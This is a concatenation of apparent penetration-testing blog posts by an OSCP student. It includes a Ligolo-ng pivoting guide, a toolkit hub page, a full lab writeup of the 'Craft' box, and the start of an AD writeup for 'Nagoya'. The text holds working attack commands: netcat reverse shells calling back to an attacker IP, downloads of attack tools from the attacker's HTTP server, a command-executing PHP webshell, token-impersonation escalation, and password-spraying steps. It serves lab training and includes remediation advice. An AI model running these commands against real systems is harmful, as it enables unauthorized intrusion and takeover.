Step 2: Get the agent onto the pivot and run it

The agent is the small binary that runs on your foothold host and connects back to your proxy. Transfer it however you normally move files (your route-side HTTP server, SMB, whatever you already have), then run it.

On a Linux pivot:

chmod +x ./agent
./agent -connect 192.168.45.185:11601 -ignore-cert

If you need the tunnel to survive after your shell command returns, background it:

nohup ./agent -connect 192.168.45.185:11601 -ignore-cert >/tmp/ligolo.log 2>&1 &

On a Windows pivot:

C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert

From a shell where you need it backgrounded (Evil-WinRM, for example):

Start-Process -FilePath "C:\ProgramData\agent.exe" -ArgumentList "-connect 192.168.45.185:11601 -ignore-cert"

Replace 192.168.45.185 with your Kali VPN IP. -ignore-cert is what lets it accept the self-signed cert from -selfcert.

One rule I learned the annoying way: one pivot, one agent. Duplicate agents cause unstable sessions, routes that vanish, and listeners that work once then die. If things get weird, kill extra agents (pkill -f agent on Linux, taskkill /F /IM agent.exe on Windows) and run one clean one.

Step 3: Select the session and start the tunnel

Back in the Ligolo console on Kali:

session

Pick your agent from the list, then:

start

That brings up the ligolo interface on Kali. The tunnel is live, but Kali doesn't know to send anything through it yet. That's the route.

Step 4: Forward a route (subnet or single host)

This is the crux of the whole tool. You tell Kali to send traffic for the internal network through the Ligolo interface. You have two options, and you'll use both depending on the situation.

Forward the whole subnet when you want to reach everything on the inside:

sudo ip route add 10.10.168.0/24 dev ligolo

Forward a single host with a /32 when you only care about one machine (cleaner, and avoids clobbering routes you already have):

sudo ip route add 10.10.168.148/32 dev ligolo

Quick note so nobody gets stuck: the interface is usually named ligolo, but depending on version it can show up as ligolo0. Run ip addr to see the real name on your box and use that in the command.

Step 5: Prove the route works before you do anything else

Do not start hunting shells until you've confirmed Kali can actually reach the inside. Test it:

nxc smb 10.10.168.148

If NetExec talks to the internal host, your pivot works and you're clear to attack. If it doesn't, the problem is your route or your agent, not the target, and that's where you focus.

That's it. Proxy, agent, start, route, verify. Prove routing before chasing shells and you'll save yourself a lot of wasted time.

Part 3: When You Need More

Everything above gets you a working pivot. The rest of this you reach for only when a specific box demands it.

Listeners: when a target has to call back to you

Here's the exact situation where this comes up, and it's a good one to burn in. Say I've got subnet routes into the internal network and I need to land SigmaPotato on a host to abuse SeImpersonate. I can reach the host over my route, but the payload needs to send a shell back to me, and the internal target can't route to my Kali VPN IP directly. It can only reach the pivot.

So I stand up a listener on the pivot. The target calls the pivot's internal IP, and Ligolo forwards that connection home to Kali.

My default listener:

listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp

Reading it: 0.0.0.0 means the pivot listens on all its interfaces, 9999 is an uncommon high port that avoids conflicts, and 127.0.0.1:9999 forwards the connection back to a service listening on Kali.

Then the payload on the target calls the pivot IP, not Kali:

C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9999

And you catch it on Kali:

rlwrap -cAr nc -lvnp 9999

The single most common mistake here is making the target call back to your Kali IP (192.168.45.185) or to 0.0.0.0. Don't. The victim talks to the pivot. The pivot talks to Kali. Callback IP is always the pivot's internal IP.

Port strategy

Windows owns a lot of common ports, and policy filters others, so don't waste time fighting them. Good defaults that tend to just work: 9999, 9998, 10080, 24444. Avoid defaulting to 80, 443, 445, 8000, 8080. If a port fails to bind, don't troubleshoot it, switch to a high uncommon one and move on:

listener_add --addr 0.0.0.0:10080 --to 127.0.0.1:10080 --tcp

File transfer through the pivot

Same idea as a listener. The internal target can't reach Kali, but it can reach the pivot, so you forward your HTTP server through Ligolo.

# Kali: serve the file
python3 -m http.server 9999 --bind 0.0.0.0

# Ligolo: forward the port
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp

# Target: download from the PIVOT IP, not Kali
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe

On Linux targets, wget http://10.10.168.147:9999/linpeas.sh -O /tmp/linpeas.sh. Same rule: the URL points at the pivot IP.

Two ports beats one

When you're transferring a file and catching a shell, don't reuse one port for both jobs. It causes confusing false negatives. Split them: HTTP on one, shell on another.

# Kali
python3 -m http.server 9999 --bind 0.0.0.0
rlwrap -cAr nc -lvnp 9998

# Ligolo
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
listener_add --addr 0.0.0.0:9998 --to 127.0.0.1:9998 --tcp

# Target: download on 9999, shell on 9998
iwr http://10.10.168.147:9999/nc.exe -OutFile C:\ProgramData\nc.exe
C:\ProgramData\nc.exe -e cmd.exe 10.10.168.147 9998

Double pivot

Deeper networks chain the same idea. Agent one on the first pivot routes you into the second network, you get a foothold on a second pivot in there, and agent two routes you deeper still. The mental model never changes: each hop is another route, and every rule in this article applies at every layer. The one thing that keeps double pivots sane is the discipline from Part 2, one clean agent per pivot, prove each leg before adding the next.

Troubleshooting: prove the chain one leg at a time

When a callback doesn't land, don't guess. Walk the path: target to pivot to Ligolo to Kali service. Check each leg in order and the broken one reveals itself.

• Is the listener actually up? listener_list

• Is your Kali service listening on the right port? ss -lntp | grep 9999

• Can the target even reach the pivot port? From the target: Test-NetConnection 10.10.168.147 -Port 9999

• Is traffic hitting Kali at all? sudo tcpdump -ni any 'tcp port 9999'

How to read it: if the target can't reach the pivot port, it's a pivot listener or routing problem. If the target reaches the pivot but Kali sees nothing, your Ligolo listener is wrong or dead. If Kali sees traffic on tcpdump but your nc or Python catches nothing, your Kali service is on the wrong port or wrong bind. Each symptom points at exactly one leg.

Bind errors (an attempt was made to access a socket in a way forbidden by its access permissions) almost always mean the port is busy, reserved, or owned by Windows. Don't fight it, switch to 0.0.0.0 and a high uncommon port.

If Ligolo just feels haunted (sessions dropping, routes disappearing, a listener that died for no reason), stop troubleshooting stale state. Kill duplicate agents, restart the proxy clean, run one agent. Nine times out of ten it was a duplicate agent.

sudo pkill -f ligolo-proxy
sudo pkill -f ligolo
sudo ligolo-proxy -selfcert

One SMB caveat worth knowing

SMB is not like a normal high-port shell. Responder and SMB coercion want TCP 445, and Windows almost always already owns 445 on the pivot (netstat -ano | findstr ":445", and if PID 4 owns it, that's Windows SMB). A high-port Ligolo listener won't catch SMB the way it catches a normal reverse shell. If you have admin on the pivot you can free the port (net stop server /y) and forward 445, but don't assume high-port SMB "just works." It's the one protocol that breaks the simple pattern.

Quick Reference

# Proxy (Kali), answer No to the WebUI prompt
sudo ligolo-proxy -selfcert

# Agent (Linux pivot)
./agent -connect 192.168.45.185:11601 -ignore-cert

# Agent (Windows pivot)
C:\ProgramData\agent.exe -connect 192.168.45.185:11601 -ignore-cert

# Tunnel + route (Kali / Ligolo console)
session
start
sudo ip route add 10.10.168.0/24 dev ligolo      # whole subnet
sudo ip route add 10.10.168.148/32 dev ligolo     # single host
nxc smb 10.10.168.148                             # prove it

# Listener (target calls back)
listener_add --addr 0.0.0.0:9999 --to 127.0.0.1:9999 --tcp
# target calls the PIVOT IP: 10.10.168.147:9999

# Good ports: 9999 9998 10080 24444
# Avoid:      80 443 445 8000 8080

The golden rule, one more time: routes are for Kali reaching in, listeners are for targets calling back. Get that straight and Ligolo is easy.

That's how I run Ligolo on every box. Next up in the toolkit, the NetExec deep dive. For the full walkthroughs where this pivoting shows up in a real kill chain, those are the box writeups on the rest of the blog.

Hey everyone. I just officially passed the OSCP, and now that I'm on the other side of it, I want to give back the way I wish more people had: not with a giant generic tool dump, but with the honest shortlist that actually carried me, organized by what you're actually trying to do.

This page is the hub for the entire toolkit. Each section starts with the job you're trying to accomplish, the tool I reach for, and why. As the series grows, each section will link to a dedicated deep dive covering my actual workflow, the commands I run, what I'm looking for in the output, and the mistakes that cost me time while learning it.

One thing that matters more than any tool here: know your exam rules. Automated exploitation tools like sqlmap are off-limits, and Metasploit is restricted to a single target. Confirm the current OffSec restrictions before you sit the exam.

Port Scanning

Nmap

Everything starts here, and most people rush it. Nmap is the foundation the whole box builds on, so know your scan flags cold and read the output line by line instead of skimming it. The service you overlook now is the foothold you miss later. Step one on every single target.

Deep dive coming soon.

Web Enumeration and Directory Busting

ffuf

Once you find an HTTP or HTTPS service, ffuf is how you uncover what the app doesn't advertise. Fast, clean, and reliable for finding hidden paths, files, and endpoints, and a good wordlist plus ffuf is what turns a boring web port into your way in.

Deep dive coming soon.

Manual Web Application Testing

Burp Suite

This is where hands-on web testing actually happens. Proxy the traffic, send requests to Repeater, and manipulate them by hand to understand how the app really behaves. Manual is the name of the game on this exam, and Burp is how you work manually.

Deep dive coming soon.

Network and AD Enumeration

NetExec (nxc)

This is your new best friend. NetExec is a straight-up AD Swiss army knife, and it shines brightest on SMB. Enumerate hosts, validate creds across the whole network at once, and spider shares to hunt for loot sitting in plain sight. It'll even do RPC-based user enumeration, rpcclient-style, so you can pull valid usernames without switching tools.

https://www.hack2harden.com/the-oscp-toolkit-netexec

Active Directory Privilege Escalation and Object Abuse

bloodyAD

When BloodHound or manual enumeration shows that your user can actually modify something in Active Directory, BloodyAD is how you turn that permission into action. Change ownership, grant yourself stronger rights, add users to groups, reset passwords, configure RBCD, abuse shadow credentials, and work through the AD object-control paths that can turn a low-privileged account into domain compromise.

https://www.hack2harden.com/the-oscp-toolkit-bloodyad

Active Directory Attack Path Mapping

BloodHound + RustHound

BloodHound turns Active Directory relationships into attack paths you can actually reason about. Instead of manually piecing together group memberships, delegated permissions, sessions, ACLs, and privilege relationships, BloodHound shows how seemingly harmless access can chain together into a path toward higher privilege.

RustHound handles the collection side, gathering Active Directory data that can then be imported into BloodHound for analysis.

This is where I go when basic enumeration stops being enough and I need to answer the bigger question: what can this account actually reach, control, or become?

https://www.hack2harden.com/the-oscp-toolkit-bloodhound-rusthound-ce

Password Attacks and Spraying

NetExec and Hydra

Two tools, two jobs. For spraying a known password across a domain or validating creds at scale, NetExec does it cleanly and tells you exactly what each cred unlocks. For brute forcing a login on a specific service (SSH, FTP, HTTP forms), Hydra is the workhorse. Between them you cover both "does this password work anywhere" and "can I force my way into this one service."

Deep dive coming soon.

Credential Access and Lateral Movement

Impacket

The toolkit you keep coming back to. secretsdump for pulling hashes, psexec for shells, and a full set of scripts for ticket and authentication attacks. Once you understand what each script does, Impacket is how you turn creds or a hash into real movement across a domain.

Deep dive coming soon.

Cracking Looted Hashes

John the Ripper

For the hashes you pull along the way that you can't pass directly. Feed them to John, crack what you can, and reuse the plaintext. Password reuse across a domain is real, so a cracked hash often feeds straight back into NetExec or Impacket and opens a door you couldn't reach before.

Deep dive coming soon.

Tunneling and Pivoting

Ligolo-ng

This is where a lot of people lose the AD set. Instead of forwarding one port at a time like you would with a traditional port-forwarding workflow, you bring up a tun interface and route the target subnet through it. Anything the pivot can reach on that routed network becomes accessible through the tunnel, without building a new port forward for every service. Once I understood that mental model, I stopped wanting to pivot any other way.

https://www.hack2harden.com/the-oscp-toolkit-ligolo-ng

Linux Privilege Escalation Enumeration

LinPEAS and pspy

LinPEAS is an enumeration script that surfaces likely Linux privilege escalation paths so you know where to look. pspy solves a different problem: it lets a low-privileged user watch processes and scheduled tasks appear in real time, which is how you catch a cron job or recurring script that normal enumeration won't show you.

Deep dive coming soon.

Windows Privilege Escalation Enumeration

WinPEAS and PrivescCheck

WinPEAS and PrivescCheck are Windows privilege escalation enumeration tools that help surface misconfigurations, weak permissions, exposed credentials, vulnerable services, and other potential paths to higher privileges.

Deep dive coming soon.

SeImpersonate to SYSTEM

SigmaPotato

If SeImpersonatePrivilege shows up on a service account, Potato-style escalation immediately moves to the top of my list. SigmaPotato is my preferred modern Potato implementation, usually my first attempt because the setup is simple and, on a compatible target, it can turn that privilege into SYSTEM very quickly.

Deep dive coming soon.

The One Thing That Beats Every Tool Here

Tools don't pass the OSCP. Understanding does. Every tool on this list is only as good as your grasp of what it's doing and why, so lean on them to work faster, not to skip the fundamentals. Master the concepts and these just make you quicker at proving them.

That's the toolkit that carried me, organized the way you'll actually use it. This hub grows as the series does, so each section will link to its full deep dive as I publish them. For the full box writeups and methodology behind all of this, that's what the rest of the blog is for.

Good luck on the exam. You've got this.

Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Intermediate Category: Standalone (Windows — Web Upload to SYSTEM)

Introduction

Craft is a Windows standalone box on OffSec's Proving Grounds Practice. On the surface it's a single open port and a static template website, but the path to SYSTEM chains three distinct misconfigurations, and each one taught me something worth writing down: a file-upload filter that only looks restrictive, a web root the wrong account can write to, and a service token privilege that hands you the box.

What makes Craft worth a full writeup isn't any single CVE, there isn't one. It's the methodology. Two moments on this box were genuine learning points for me. The first was recognizing that an "only ODT allowed" upload is still an execution vector when the server opens the document for you. The second, and the more important one, was the lateral pivot: I'd fallen into the habit of hunting for credentials, services, and vulnerable binaries every time I need to move between accounts, and I completely overlooked the simplest primitive in the book — if you can write to a directory that executes code, you write your own shell there and run it as whoever owns that process. I've given that its own section, because it's the reflex I most want to keep.

This writeup follows the whole chain from an empty terminal to proof.txt, and I've tried to explain the reasoning at each decision point rather than just listing what worked.

High-Level Summary

Craft was assessed as a single Windows host exposing only a web server on port 80. The site included a file-upload feature restricted to OpenDocument Text (.odt) files, which the server opened and processed with LibreOffice. Because document macros were permitted, a crafted .odt produced code execution as the low-privileged craft\thecybergeek account.

From that foothold, the thecybergeek account was found to have write access to the XAMPP web root — a directory that Apache serves and executes as PHP. Placing a command-execution script there and requesting it over HTTP produced a second, parallel execution context as the craft\apache service account.

That service account held SeImpersonatePrivilege, which was abused with a token-impersonation ("potato") technique to escalate directly to NT AUTHORITY\SYSTEM, yielding full compromise of the host and both the user and root flags.

Compromise path: ODT upload → macro RCE (thecybergeek) → writable web root → RCE (apache) → SeImpersonate → SYSTEM.

Methodologies

Information Gathering

The scope was a single host, 192.168.212.169. The objective was to obtain the user (local.txt) and root (proof.txt) flags.

Service Enumeration

The service enumeration phase focuses on identifying live services and understanding the attack surface before touching it.

My default first scan is nmap -sCV -p-, but on Craft that scan stalled during host discovery — the box was silently dropping ICMP/host-discovery probes and nmap concluded the host was down before it ever reached the port-scan phase. The fix is to skip host discovery entirely with -Pn and use a raw SYN sweep. This is worth internalizing as a default reflex over the OffSec VPN: if a box the portal shows as "up" reports "host seems down," add -Pn — you are not looking at a dead host, you are looking at dropped discovery probes.

┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ sudo nmap -Pn -n -sS -p- -vv --min-rate 2000 --max-retries 2 192.168.212.169
...
Discovered open port 80/tcp on 192.168.212.169
...
PORT   STATE SERVICE REASON
80/tcp open  http    syn-ack ttl 125
Nmap done: 1 IP address (1 host up) scanned in 65.85 seconds

A single open port (80/tcp), and a TTL of 125 pointing at a Windows target.

Port scan results

With only HTTP exposed, I moved to content discovery with ffuf, filtering out 403 responses:

┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ ffuf -u http://192.168.212.169/FUZZ -w /usr/share/wordlists/elite.txt -fc 403
...
assets      [Status: 301, ...]
css         [Status: 301, ...]
js          [Status: 301, ...]
uploads     [Status: 301, ...]
uploads/    [Status: 200, ...]
index.php   [Status: 200, ...]
upload.php  [Status: 200, ...]

The site itself is a static "CRAFT" landing-page template. The interesting results are uploads/ (a browsable directory) and upload.php (an upload form) — a classic upload-to-execution setup worth prioritizing.

Penetration

The penetration phase focuses on gaining and elevating access. Craft was fully compromised through the three findings documented below.

Maintaining Access

Access was maintained via interactive reverse shells caught on a local listener. In an authorized engagement this phase would also cover establishing a durable backdoor; for this lab, no persistence beyond the working shells was required.

House Cleaning

Artifacts staged during testing (neo.php in the web root, nc.exe and sp.exe in C:\ProgramData, and the uploaded document) would be removed at the end of a real engagement so no tooling or scripts are left behind on the target.

Target — Craft (192.168.212.169)

Finding 1 — Initial Access: Unrestricted Document Upload Leads to Macro Code Execution

Vulnerability Explanation: The upload.php endpoint accepts OpenDocument Text (.odt) files and processes them server-side with LibreOffice. Although the upload filter rejects other file types (including PHP), the application opens the submitted document, and macro execution is not disabled in the office environment. A document configured to run a macro on load therefore results in arbitrary command execution in the context of the account running the office process — craft\thecybergeek. The restrictive-looking "ODT only" filter provides no protection because the danger is in the server opening the document at all, not in the file extension.

Vulnerability Fix: Do not open or render uploaded documents server-side. If document processing is required, run the office suite with macro security set to its highest level (macros disabled), process files in an isolated sandbox with no outbound network access, and run the handling service under a least-privileged account. Store uploads outside any path that is opened, executed, or served.

Severity: Critical

Steps to reproduce the attack:

Browsing to upload.php shows a form that rejects anything other than an ODT file:

File is not valid. Please submit ODT file

My first instinct was to upload a PHP webshell directly; the extension filter blocked it and I found no filter bypass. The pivot in thinking was noticing that the application's whole purpose is to read the submitted document — which means the ODT is being opened by an office process on the server. An OpenDocument file that carries a macro set to execute on open is therefore an execution vector, not just a data file.

I prepared a macro-enabled ODT configured to trigger a reverse connection when the document is opened, uploaded it through the form, and caught the resulting shell on a waiting listener:

┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50423
whoami
craft\thecybergeek

(Report-level note: I'm intentionally documenting this step at the vector level — the upload accepts ODT, the server opens it, and an auto-executing macro yields a shell — rather than reproducing the malicious macro's source. The finding, impact, and remediation are what matter for the report.)

The shell landed in C:\Program Files\LibreOffice\program, confirming the document was opened by LibreOffice running as thecybergeek. Basic enumeration of the account:

PS C:\Program Files\LibreOffice\program> whoami /all
USER INFORMATION
----------------
User Name          SID
================== ============================================
craft\thecybergeek S-1-5-21-537427935-490066102-1511301751-1001

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                    State
============================= ============================== ========
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeCreateGlobalPrivilege       Create global objects          Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Disabled

thecybergeek holds no immediately abusable privileges, cmdkey /list showed no stored credentials, and Winlogon carried no autologon secrets — so this account is a foothold, not a finish line.

User flag (local.txt) — retrieved from the thecybergeek desktop:

C:\Users\thecybergeek\Desktop>type local.txt
9a7954e7770e49ad554f54ded0fa8eaa

Finding 2 — Lateral Movement: World-Writable Web Root Leads to Command Execution as apache

Vulnerability Explanation: The craft\thecybergeek account has write access to the XAMPP web root, C:\xampp\htdocs. That directory is served by Apache with PHP execution enabled. Any account able to write into a directory that executes server-side script can obtain command execution as the account that runs the web server — here, craft\apache — simply by writing a script into the web root and requesting it over HTTP. No credentials, vulnerable service, or exploitable binary is required; write access plus an executing path is the entire primitive.

Vulnerability Fix: Apply least-privilege ACLs to the web root so that interactive and service accounts cannot write to content that Apache executes. Serve static content from a location that is not writable by application/service users, and keep any writable upload directory outside the script-executing path (and ideally configured to not execute scripts at all).

Severity: High

Steps to reproduce the attack:

From the thecybergeek shell, I confirmed I could write into C:\xampp\htdocs by dropping a test file and listing the directory:

PS C:\xampp\htdocs> echo 'test' > neo.txt
PS C:\xampp\htdocs> gci
    Directory: C:\xampp\htdocs
Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        7/13/2021   3:18 AM                assets
d-----        7/13/2021   3:18 AM                css
d-----        7/13/2021   3:18 AM                js
d-----        7/19/2026   5:09 PM                uploads
-a----         7/7/2021  10:53 AM           9635 index.php
-a----         7/19/2026   5:22 PM             14 neo.txt
-a----         7/7/2021   9:56 AM            835 upload.php

The write succeeded. I then placed a small PHP command-execution script into the web root (staged from my Kali box over HTTP) — a script that takes a command from a query-string parameter and runs it — and requested it in the browser, which executed the command as the Apache service account:

http://192.168.212.169/neo.php?cmd=whoami
craft\apache

Upgrading to an interactive shell

and enumerating the apache context revealed the actual escalation opportunity:

PS C:\xampp\htdocs> whoami /all
USER INFORMATION
----------------
User Name    SID
============ ============================================
craft\apache S-1-5-21-537427935-490066102-1511301751-1000

PRIVILEGES INFORMATION
----------------------
Privilege Name                Description                               State
============================= ========================================= ========
SeChangeNotifyPrivilege       Bypass traverse checking                  Enabled
SeImpersonatePrivilege        Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege       Create global objects                     Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set            Disabled

The apache account holds SeImpersonatePrivilege — the key to SYSTEM.

Methodology callout — the primitive I keep forgetting

This pivot is the lesson of the box, so it gets its own box. I spent longer than I should have here because my instinct on a new account is always the same loop: hunt for stored credentials, look for misconfigured services, check for vulnerable binaries, scan for interesting files. All of that skipped past the simplest fact in front of me — thecybergeek could write to a directory that Apache executes.

When you can write to any path that runs code — a web root with PHP, a scheduled-task script directory, a cron path, a startup folder — you don't need to find an execution primitive. You are the execution primitive. You write your own payload there and let the owning process run it, and you inherit that process's identity.

Reflex to keep: on every new foothold, before enumerating creds and services, ask one question first — what can this account write to that something else will execute? If the answer is "a code-executing path owned by a more useful account," that's often the shortest line to the next identity.

Finding 3 — Privilege Escalation: SeImpersonatePrivilege Leads to SYSTEM

Vulnerability Explanation: The craft\apache service account holds SeImpersonatePrivilege. This privilege permits a process to impersonate the security tokens of clients that connect to it. A well-known class of "potato" techniques abuses this by coercing a privileged service to authenticate to an attacker-controlled endpoint, capturing and impersonating the resulting NT AUTHORITY\SYSTEM token, and using it to spawn a process as SYSTEM. Any account running with this privilege on an affected Windows build can therefore escalate to full system control.

Vulnerability Fix: Do not grant SeImpersonatePrivilege to service accounts that do not strictly require it, and run web/application services under the most restrictive account possible. Keep the OS current with security updates, since the specific coercion vectors these tools rely on are addressed over time by patching.

Severity: Critical

Steps to reproduce the attack:

From my Kali box I staged a static netcat binary and a token-impersonation tool (SigmaPotato) using a temporary Python HTTP server, then pulled them onto the target into a writable, non-privileged-blocked directory (C:\ProgramData):

On Kali:

┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 ...

On the target:

PS C:\> cd ProgramData
PS C:\ProgramData> curl http://192.168.45.245/nc.exe -o nc.exe
PS C:\ProgramData> curl http://192.168.45.245/sp.exe -o sp.exe

I then executed the impersonation tool, instructing it to launch the netcat binary as a reverse shell back to my listener. The tool coerced a SYSTEM token and created the process under it:

The reverse shell arrived on my listener as SYSTEM:

┌──(Neo㉿kali)-[~/Pen-200/Labs/Craft]
└─$ rlwrap -cAr nc -nvlp 80
listening on [any] 80 ...
connect to [192.168.45.245] from (UNKNOWN) [192.168.212.169] 50603
Microsoft Windows [Version 10.0.17763.2029]
(c) 2018 Microsoft Corporation. All rights reserved.

C:\Windows\system32>whoami
nt authority\system

Post-Exploitation

With a SYSTEM shell, I retrieved the root flag from the Administrator desktop:

C:\Users\Administrator\Desktop>type proof.txt
4b0acac6964c70653c2a1e2b92d06299

Proof Summary

Takeaways

Craft is a clean lesson in chaining unglamorous misconfigurations. Three reflexes I'm keeping from it:

1. "Host seems down" over the VPN means -Pn, not a dead box. Blocked discovery probes stop nmap before the port scan; skip discovery and SYN-sweep.

2. A restrictive-looking upload filter can still be an execution vector if the server opens the file it accepts. "ODT only" is not safe when the server renders the ODT.

3. Write access to a code-executing path is an execution primitive. Before hunting creds, services, and binaries on a new account, ask what that account can write that something more privileged will run. It's frequently the shortest path to the next identity — and it's the one I most needed to relearn.

Author: Deonte Spencer Platform: OffSec Proving Grounds Practice Difficulty: Hard Category: Active Directory (Full Domain Compromise)

Table of Contents

1. Introduction

2. High-Level Summary

   • 2.1 Recommendations

3. Methodology

   • 3.1 Information Gathering

   • 3.2 Service Enumeration

   • 3.3 Penetration

   • 3.4 Maintaining Access

   • 3.5 House Cleaning

4. Core Methodology: Wordlist Generation From Target Content

5. Attack Path

   • 5.1 Initial Access — Web OSINT to Valid Usernames

   • 5.2 Initial Access — Password Spraying to a Foothold Credential

   • 5.3 Post-Exploitation — Kerberoasting the Service Accounts

   • 5.4 Privilege Escalation — ACL Abuse Chain to WinRM Access

   • 5.5 Privilege Escalation — Reaching the Firewalled MSSQL Service

   • 5.6 Privilege Escalation — Silver Ticket to SQL Sysadmin

   • 5.7 Privilege Escalation — SeImpersonate to SYSTEM

   • 5.8 Post-Exploitation — Proof

6. What Didn't Work

7. Conclusion

1. Introduction

Nagoya is a Hard-rated Active Directory box on OffSec's Proving Grounds Practice. On paper it's a single host, but that host is a Domain Controller running the full stack of AD services, and the intended path chains together a long series of techniques: web-based OSINT, targeted wordlist generation, password spraying, Kerberoasting, ACL abuse across a chain of users, internal port forwarding, a Silver Ticket forgery, and finally a token-impersonation privilege escalation to SYSTEM.

What makes this box worth writing up isn't any single exploit — it's the methodology. The initial foothold hinges entirely on a repeatable protocol I've come to rely on: scrape the target's public content for vocabulary, then transform that vocabulary into password candidates that match how humans actually build passwords. That protocol is the real lesson here, so I've given it its own section rather than burying it in a wall of commands.

This writeup follows the whole chain from an empty terminal to proof.txt, and I've tried to explain the reasoning at each decision point rather than just listing what worked.

2. High-Level Summary

Starting from zero credentials, I enumerated the Domain Controller and confirmed anonymous access was locked down across SMB, RPC, and LDAP. The web server on port 80 leaked a roster of employee names, which I converted into a valid domain username list using username-anarchy and kerbrute.

I then generated a targeted password spray list from the website's own content using CeWL and hashcat-utils combinator, and recovered the credential pair andrea.hayes:Nagoya2023. From there:

• Kerberoasted the domain's service accounts and cracked svc_mssql's hash offline.

• Used BloodHound to map an ACL abuse path (andrea → svc_helpdesk → christopher.lewis) that granted WinRM access.

• Forwarded the internally-firewalled MSSQL port off the box with Ligolo-ng.

• Forged a Silver Ticket to authenticate to MSSQL as a SQL sysadmin, unlocking xp_cmdshell.

• Landed a shell as svc_mssql, which held SeImpersonatePrivilege, and used SigmaPotato to escalate to NT AUTHORITY\SYSTEM.

All flags were captured. Every step below is reproducible.

2.1 Recommendations

At a non-technical level, the compromise of this host came down to a small number of correctable weaknesses, and remediating any one of them would have broken the chain:

• Enforce a strong password policy. The entire foothold rested on a single account using a predictable company-name-plus-year password. Prohibiting organization-specific terms and common Word+Year patterns, and enforcing length and complexity, closes the initial door.

• Harden service accounts. Two separate escalation steps (Kerberoasting and the Silver Ticket) were only possible because a service account used a weak, crackable password. Group Managed Service Accounts with long random secrets make both attacks infeasible.

• Audit Active Directory permissions. The privilege escalation ran entirely through excessive GenericAll rights that let ordinary accounts reset other users' passwords. Regular ACL review with tooling like BloodHound would surface and eliminate these paths.

• Apply least privilege to interactive access and SQL. Restricting Remote Management Users membership and removing unnecessary SeImpersonatePrivilege / xp_cmdshell capability would have blocked the final escalation to SYSTEM.

3. Methodology

3.1 Information Gathering

The scope of this engagement was a single target host, 192.168.148.21, to be assessed from an external position with no starting credentials. The objective was to identify the services exposed by the host, determine its role, and work methodically toward a foothold and full compromise.

The engagement began with a full TCP service and version scan against the target — every conclusion that follows is derived from its output:

sudo nmap -sCV -p- 192.168.148.21 -vv -T4

The scan immediately established that the target is a Domain Controller for the nagoya-industries.com domain — the simultaneous presence of DNS (53), Kerberos (88), LDAP (389/636/3268/3269), SMB (445), and AD Web Services (9389) is the defining fingerprint. The rdp-ntlm-info NSE script confirmed the naming context:

• Domain: nagoya-industries.com

• NetBIOS name: NAGOYA

• FQDN: nagoya.nagoya-industries.com

• OS: Windows Server 2019 (Build 17763), configured as the Primary Domain Controller

SMB signing was enabled and required, which rules out relay attacks later on. The full port breakdown is tabulated in 3.2 below.

Because those conclusions came from the scan, the first action taken on them was to add the discovered FQDN to /etc/hosts — Kerberos-aware tooling resolves by hostname and fails on bare IPs:

192.168.148.21    nagoya.nagoya-industries.com nagoya-industries.com nagoya

Note on the target IP: Partway through this engagement the box was redeployed and Proving Grounds reassigned it from 192.168.148.21 to 192.168.108.21. The enumeration screenshots show the original address and the exploitation screenshots show the new one — this is expected, not an inconsistency. Each command below reflects the IP that was live at the time it was run.

3.2 Service Enumeration

Port Scan Results

The full -p- scan from 3.1 returned 23 open TCP ports. The table below lists the notable services that define the target's role; the remainder were high-numbered ephemeral Microsoft RPC ports (49xxx) typical of a Windows DC and not individually significant.

With the DC identified and its services enumerated, I worked through the low-hanging fruit first: anonymous and guest access to the domain's core services. This is always the cheapest thing to check, and if it lands it can hand you the entire user list for free.

SMB — null and guest sessions:

nxc smb 192.168.148.21 -u '' -p '' --shares
nxc smb 192.168.148.21 -u 'guest' -p '' --shares

The null session authenticated but returned STATUS_ACCESS_DENIED on share enumeration, and the guest account came back STATUS_ACCOUNT_DISABLED. No free access there.

RPC — anonymous user enumeration:

rpcclient -U "" -N 192.168.148.21
rpcclient $> enumdomusers
result was NT_STATUS_ACCESS_DENIED

LDAP — anonymous bind:

nxc ldap 192.168.148.21 -u '' -p '' --users

LDAP rejected the anonymous search, requiring a successful bind first. Every unauthenticated avenue into the directory was closed. With anonymous enumeration exhausted, I shifted focus to the one service that was still openly accessible: the web server.

3.3 Penetration

The full penetration path — from web OSINT through to SYSTEM — is documented target-by-target in the section below. The condensed sequence was: harvest usernames from the website, validate them over Kerberos, spray a self-generated wordlist to obtain a foothold credential, Kerberoast and abuse ACLs to reach an interactive shell, then pivot through a firewalled SQL service via a forged ticket and escalate through token impersonation.

3.4 Maintaining Access

This assessment was conducted against a lab target, so persistence mechanisms were intentionally not deployed. In a real engagement, the compromise of the svc_mssql account secret alone would be sufficient to forge Silver Tickets for the MSSQL service indefinitely, and full SYSTEM/Domain Controller access would permit extraction of the krbtgt hash for Golden Ticket persistence. None of that was necessary here.

3.5 House Cleaning

All tooling uploaded to the target during the engagement (RunasCs.exe, agent.exe, nc.exe, SigmaPotato.exe) was staged in C:\ProgramData and would be removed as part of post-engagement cleanup. All password changes made during ACL abuse were made against lab accounts and would be reported for reset in a real assessment.

4. Core Methodology: Wordlist Generation From Target Content

Before walking through the attack chain, this section deserves its own spotlight, because it's the technique the entire foothold depends on and it's the most transferable skill the box teaches.

The problem: on a hardened AD box with no anonymous access, your only way in is often a weak password on a valid account. But spraying rockyou.txt against a domain is slow, noisy, and — against a lockout policy — dangerous. What you want instead is a small, precise list of candidates that reflect how a real person at this specific organization would build a password.

